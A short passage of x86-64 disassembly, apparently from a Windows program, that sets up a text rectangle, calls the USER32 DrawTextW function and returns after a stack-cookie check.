movups xmmword [rsp + 0x30], xmm0
jb 0x14001ac45
mov rax, qword [rsp + 0x30]
shr rax, 0x20
add eax, ecx
mov dword [rsp + 0x34], eax
jmp 0x14001ac63
test ecx, ecx
jle 0x14001ac63
mov eax, ecx
mov rcx, qword [rsp + 0x38]
cdq
shr rcx, 0x20
sub eax, edx
sar eax, 1
add dword [rsp + 0x34], eax
add ecx, eax
mov dword [rsp + 0x3c], ecx
mov rcx, qword [rdi + 0x20]
lea r9, [rsp + 0x30]
mov r8d, 0xffffffff
mov dword [rsp + 0x20], ebx
lea rdx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_DrawTextW]
mov rbx, qword [rsp + 0x2060]
mov rcx, qword [rsp + 0x2040]
xor rcx, rsp
call fcn.14006b1a0
add rsp, 0x2050
pop rdi
ret